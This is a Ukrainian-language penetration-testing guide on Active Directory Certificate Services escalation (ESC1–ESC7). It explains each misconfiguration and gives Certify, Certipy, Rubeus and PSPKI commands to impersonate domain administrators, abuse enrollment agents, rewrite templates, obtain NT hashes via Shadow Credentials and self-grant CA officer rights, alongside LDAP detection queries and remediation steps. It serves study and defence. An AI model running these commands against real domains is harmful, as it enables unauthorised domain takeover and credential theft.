AD CS Domain Escalation

Websec | Uw Cybersecurity Specialist

Це резюме секцій технік ескалації постів:

• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

• https://github.com/ly4k/Certipy

Неправильно налаштовані шаблони сертифікатів - ESC1

Пояснення

Неправильно налаштовані шаблони сертифікатів - ESC1 Пояснено

• Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.

• Затвердження менеджера не потрібне.

• Не потрібні підписи уповноважених осіб.

• Безпекові дескриптори на шаблонах сертифікатів є надто ліберальними, що дозволяє користувачам з низькими привілеями отримувати права на реєстрацію.

• Шаблони сертифікатів налаштовані для визначення EKU, які полегшують аутентифікацію:

• Ідентифікатори розширеного використання ключів (EKU), такі як Аутентифікація клієнта (OID 1.3.6.1.5.5.7.3.2), Аутентифікація клієнта PKINIT (1.3.6.1.5.2.3.4), Вхід за допомогою смарт-картки (OID 1.3.6.1.4.1.311.20.2.2), Будь-яка мета (OID 2.5.29.37.0) або без EKU (SubCA) включені.

• Шаблон дозволяє запитувачам включати subjectAltName у Запит на підпис сертифіката (CSR):

• Active Directory (AD) надає пріоритет subjectAltName (SAN) у сертифікаті для перевірки особи, якщо він присутній. Це означає, що, вказуючи SAN у CSR, можна запитати сертифікат для видачі від імені будь-якого користувача (наприклад, адміністратора домену). Чи може запитувач вказати SAN, вказується в об'єкті AD шаблону сертифіката через властивість mspki-certificate-name-flag. Ця властивість є бітовою маскою, і наявність прапора CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT дозволяє запитувачу вказувати SAN.

Ця функція іноді активується для підтримки генерації HTTPS або хост-сертифікатів на льоту продуктами або службами розгортання, або через брак розуміння.

Зазначено, що створення сертифіката з цією опцією викликає попередження, чого не відбувається, коли існуючий шаблон сертифіката (такий як шаблон WebServer, у якого активовано CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) дублюється, а потім модифікується для включення OID аутентифікації.

Зловживання

Щоб знайти вразливі шаблони сертифікатів, ви можете виконати:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

Щоб зловживати цією вразливістю для видавання себе за адміністратора, можна виконати:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Тоді ви можете перетворити згенерований сертифікат у формат .pfx і використовувати його для автентифікації за допомогою Rubeus або certipy знову:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Віконні двійкові файли "Certreq.exe" та "Certutil.exe" можуть бути використані для генерації PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

Перерахунок шаблонів сертифікатів у конфігураційній схемі лісу AD, зокрема тих, які не потребують затвердження або підписів, що мають EKU для клієнтської аутентифікації або Smart Card Logon, та з увімкненим прапором CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, можна виконати, запустивши наступний LDAP запит:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Неправильно налаштовані шаблони сертифікатів - ESC2

Пояснення

Другий сценарій зловживання є варіацією першого:

1. Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.

2. Вимога на затвердження менеджера вимкнена.

3. Необхідність авторизованих підписів пропущена.

4. Надмірно дозволяючий дескриптор безпеки на шаблоні сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями.

5. Шаблон сертифіката визначено так, щоб включати Any Purpose EKU або не мати EKU.

Any Purpose EKU дозволяє зловмиснику отримати сертифікат для будь-якої мети, включаючи автентифікацію клієнта, автентифікацію сервера, підписування коду тощо. Та ж техніка, що використовується для ESC3, може бути застосована для експлуатації цього сценарію.

Сертифікати з без EKU, які діють як сертифікати підпорядкованого CA, можуть бути використані для будь-якої мети і також можуть бути використані для підписування нових сертифікатів. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи сертифікат підпорядкованого CA.

Однак нові сертифікати, створені для автентифікації домену, не працюватимуть, якщо підпорядкований CA не довіряється об'єкту NTAuthCertificates, що є налаштуванням за замовчуванням. Проте зловмисник все ще може створювати нові сертифікати з будь-яким EKU та довільними значеннями сертифікатів. Ці сертифікати можуть бути потенційно зловживані для широкого спектру цілей (наприклад, підписування коду, автентифікація сервера тощо) і можуть мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec.

Щоб перерахувати шаблони, які відповідають цьому сценарію в конфігураційній схемі лісу AD, можна виконати наступний LDAP запит:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Неправильно налаштовані шаблони агентів реєстрації - ESC3

Пояснення

Цей сценарій схожий на перший і другий, але зловживає іншим EKU (Агент запиту сертифіката) та 2 різними шаблонами (отже, має 2 набори вимог),

EKU агента запиту сертифіката (OID 1.3.6.1.4.1.311.20.2.1), відомий як Агент реєстрації в документації Microsoft, дозволяє суб'єкту реєструватися на сертифікат від імені іншого користувача.

“Агент реєстрації” реєструється в такому шаблоні і використовує отриманий сертифікат для спільного підписання CSR від імені іншого користувача. Потім він надсилає спільно підписаний CSR до CA, реєструючись у шаблоні, який дозволяє “реєстрацію від імені”, і CA відповідає сертифікатом, що належить “іншому” користувачу.

Вимоги 1:

• Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.

• Вимога на затвердження менеджера пропускається.

• Немає вимоги на авторизовані підписи.

• Безпековий дескриптор шаблону сертифіката є надмірно дозволяючим, надаючи права на реєстрацію користувачам з низькими привілеями.

• Шаблон сертифіката включає EKU агента запиту сертифіката, що дозволяє запитувати інші шаблони сертифікатів від імені інших суб'єктів.

Вимоги 2:

• Enterprise CA надає права на реєстрацію користувачам з низькими привілеями.

• Затвердження менеджера обходиться.

• Версія схеми шаблону є або 1, або перевищує 2, і вона вказує на вимогу політики застосування, яка вимагає EKU агента запиту сертифіката.

• EKU, визначений у шаблоні сертифіката, дозволяє автентифікацію домену.

• Обмеження для агентів реєстрації не застосовуються на CA.

Зловживання

Ви можете використовувати Certify або Certipy для зловживання цим сценарієм:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Користувачі, яким дозволено отримувати сертифікат агента реєстрації, шаблони, в яких агентам реєстрації дозволено реєструватися, та рахунки, від імені яких агент реєстрації може діяти, можуть бути обмежені корпоративними ЦС. Це досягається шляхом відкриття certsrc.msc додатку, клацання правою кнопкою миші на ЦС, вибору Властивості, а потім переміщення на вкладку “Агенти реєстрації”.

Однак зазначено, що за замовчуванням налаштування для ЦС полягає в тому, щоб “Не обмежувати агентів реєстрації.” Коли обмеження для агентів реєстрації активується адміністраторами, встановлення його на “Обмежити агентів реєстрації” залишає конфігурацію за замовчуванням надзвичайно ліберальною. Це дозволяє Усім отримати доступ до реєстрації в усіх шаблонах як будь-хто.

Вразливий контроль доступу до шаблону сертифіката - ESC4

Пояснення

Безпековий дескриптор на шаблонах сертифікатів визначає дозволи, які конкретні принципали AD мають щодо шаблону.

Якщо зловмисник має необхідні дозволи для зміни шаблону та встановлення будь-яких експлуатованих неконфігурацій, описаних у попередніх розділах, може бути полегшено підвищення привілеїв.

Значні дозволи, що застосовуються до шаблонів сертифікатів, включають:

• Власник: Надає неявний контроль над об'єктом, дозволяючи змінювати будь-які атрибути.

• Повний контроль: Дозволяє повну владу над об'єктом, включаючи можливість змінювати будь-які атрибути.

• Змінити власника: Дозволяє змінювати власника об'єкта на принципала під контролем зловмисника.

• Змінити DACL: Дозволяє коригувати контроль доступу, потенційно надаючи зловмиснику Повний контроль.

• Змінити властивість: Дозволяє редагувати будь-які властивості об'єкта.

Зловживання

Приклад підвищення привілеїв, як у попередньому:

ESC4 - це коли користувач має права на запис над шаблоном сертифіката. Це, наприклад, може бути зловжито для переписування конфігурації шаблона сертифіката, щоб зробити шаблон вразливим до ESC1.

Як ми бачимо на наведеному вище шляху, лише JOHNPC має ці привілеї, але наш користувач JOHN має новий AddKeyCredentialLink до JOHNPC. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як Shadow Credentials. Ось невеликий попередній перегляд команди shadow auto Certipy для отримання NT хешу жертви.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy може перезаписати конфігурацію шаблону сертифіката одним командою. За замовчуванням, Certipy перезаписує конфігурацію, щоб зробити її вразливою до ESC1. Ми також можемо вказати -save-old параметр для збереження старої конфігурації, що буде корисно для відновлення конфігурації після нашої атаки.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Вразливий контроль доступу до об'єктів PKI - ESC5

Пояснення

Широка мережа взаємопов'язаних відносин на основі ACL, яка включає кілька об'єктів, крім шаблонів сертифікатів і центру сертифікації, може вплинути на безпеку всієї системи AD CS. Ці об'єкти, які можуть суттєво вплинути на безпеку, охоплюють:

• Об'єкт комп'ютера AD сервера CA, який може бути скомпрометований через механізми, такі як S4U2Self або S4U2Proxy.

• RPC/DCOM сервер сервера CA.

• Будь-який нащадок об'єкта AD або контейнера в межах конкретного шляху контейнера CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. Цей шлях включає, але не обмежується, контейнерами та об'єктами, такими як контейнер шаблонів сертифікатів, контейнер центрів сертифікації, об'єкт NTAuthCertificates та контейнер послуг реєстрації.

Безпека системи PKI може бути скомпрометована, якщо зловмисник з низькими привілеями зможе отримати контроль над будь-яким з цих критичних компонентів.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Пояснення

Тема, обговорена в пості CQure Academy, також торкається наслідків прапора EDITF_ATTRIBUTESUBJECTALTNAME2, як зазначено Microsoft. Ця конфігурація, коли вона активована на Центрі сертифікації (CA), дозволяє включати значення, визначені користувачем, у додаткову назву суб'єкта для будь-якого запиту, включаючи ті, що створені з Active Directory®. Внаслідок цього, ця можливість дозволяє зловмиснику зареєструватися через будь-який шаблон, налаштований для автентифікації домену — зокрема, ті, що відкриті для реєстрації непривілейованими користувачами, як стандартний шаблон користувача. В результаті, сертифікат може бути отриманий, що дозволяє зловмиснику автентифікуватися як доменний адміністратор або будь-яка інша активна сутність в межах домену.

Примітка: Підхід до додавання додаткових імен у Запит на підпис сертифіката (CSR) через аргумент -attrib "SAN:" у certreq.exe (який називається “Пари значення імен”) представляє контраст з експлуатаційною стратегією SAN у ESC1. Тут відмінність полягає в тому, як інформація про обліковий запис інкапсульована — в атрибуті сертифіката, а не в розширенні.

Зловживання

Щоб перевірити, чи активовано налаштування, організації можуть використовувати наступну команду з certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Ця операція в основному використовує доступ до віддаленого реєстру, отже, альтернативний підхід може бути:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Інструменти, такі як Certify та Certipy, здатні виявляти цю неправильну конфігурацію та експлуатувати її:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

Щоб змінити ці налаштування, припускаючи, що у вас є права адміністратора домену або еквівалентні, можна виконати наступну команду з будь-якої робочої станції:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Щоб вимкнути цю конфігурацію у вашому середовищі, прапорець можна видалити за допомогою:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Вразливий контроль доступу до центру сертифікації - ESC7

Атака 1

Пояснення

Контроль доступу для центру сертифікації підтримується через набір дозволів, які регулюють дії CA. Ці дозволи можна переглянути, отримавши доступ до certsrv.msc, клацнувши правою кнопкою миші на CA, вибравши властивості, а потім перейшовши на вкладку Безпека. Крім того, дозволи можна перерахувати за допомогою модуля PSPKI з командами, такими як:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

Це надає уявлення про основні права, а саме ManageCA та ManageCertificates, що відповідають ролям "адміністратор CA" та "менеджер сертифікатів" відповідно.

Зловживання

Наявність прав ManageCA на центрах сертифікації дозволяє суб'єкту маніпулювати налаштуваннями віддалено, використовуючи PSPKI. Це включає в себе перемикання прапорця EDITF_ATTRIBUTESUBJECTALTNAME2 для дозволу специфікації SAN у будь-якому шаблоні, що є критичним аспектом ескалації домену.

Спрощення цього процесу можливе за допомогою використання cmdlet Enable-PolicyModuleFlag PSPKI, що дозволяє вносити зміни без прямої взаємодії з GUI.

Володіння правами ManageCertificates полегшує затвердження очікуючих запитів, ефективно обходячи захист "затвердження менеджера сертифікатів CA".

Комбінація модулів Certify та PSPKI може бути використана для запиту, затвердження та завантаження сертифіката:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attack 2

Explanation

Тому тут представлено ще один напад.

Перелік вимог:

• Тільки ManageCA дозвіл

• Manage Certificates дозвіл (може бути наданий з ManageCA)

• Шаблон сертифіката SubCA повинен бути включений (може бути включений з ManageCA)

Техніка базується на тому, що користувачі з правами доступу Manage CA та Manage Certificates можуть видавати невдалі запити на сертифікати. Шаблон сертифіката SubCA є вразливим до ESC1, але тільки адміністратори можуть зареєструватися в шаблоні. Таким чином, користувач може запросити реєстрацію в SubCA - що буде відхилено - але потім видано менеджером пізніше.

Abuse

Ви можете наділити себе правом доступу Manage Certificates, додавши свого користувача як нового офіцера.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)